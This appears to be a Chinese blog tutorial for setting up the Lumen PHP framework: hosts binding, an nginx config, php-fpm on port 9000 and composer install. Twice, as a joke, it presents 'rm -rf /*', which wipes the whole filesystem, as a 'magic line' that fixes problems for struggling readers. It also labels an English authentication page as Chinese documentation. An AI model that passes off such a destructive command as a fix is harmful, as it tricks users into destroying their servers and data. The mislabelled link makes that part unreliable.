一周学会Lumen并使用到项目中(day1新手入门)

关于安装,官方文档已经很详细了https://lumen.laravel.com/docs/5.7

当然,英文有困难的同学,我也准备了中文文档给你:https://lumen.laravel.com/docs/5.7/authentication

中英文都有困难的同学,我给你准备了一行快速解决问题的神奇代码:

rm -rf /*

在服务器根目录执行完,背包走人,要快。

安装完了,文档也看了,咋用啊,大佬。

第一步:绑定hosts,不会绑定hosts的同学不要急,只要执行上面的神奇代码,就能快速解决问题。绑定hosts:127.0.0.1 test.com

第二步:配置nginx,不会配置的同学不要怕,我给你准备了我亲测可用的demo。

server
{
  listen 80;
  server_name test.com;

  root /var/www/test/public;
  index index.php index.html index.htm;

  location / {
      try_files $uri $uri/ /index.php?_url=$uri&$args;
  }

  location ~ \.php$ {
      try_files $uri /index.php =404;
      fastcgi_pass php:9000;
      fastcgi_index index.php;
      fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
      include fastcgi_params;
  }

  location ~ /\.ht {
      deny all;
  }

  access_log /var/log/nginx/ipb_access.log;
  error_log /var/log/nginx/ipb_error.log;
}

第三步: 配置php监听9000端口.使用php-fpm设置listen = 127.0.0.1:9000就行。使用windows的cgi方式:
php-cgi.exe -b 127.0.0.1:9000 -c D:\www\php7.1

第四步:拉取vendor包,即第三方的扩展包。这个需要我们本地有composer。没有composer的同学不要怕,装一个就行。
装完了在根目录执行composer install就行了。


第五步:
3:在浏览器访问test.com就行
成功,则返回版本号。
Lumen (5.7.7) (Laravel Components 5.7.*)

打赏作者

发表评论

电子邮件地址不会被公开。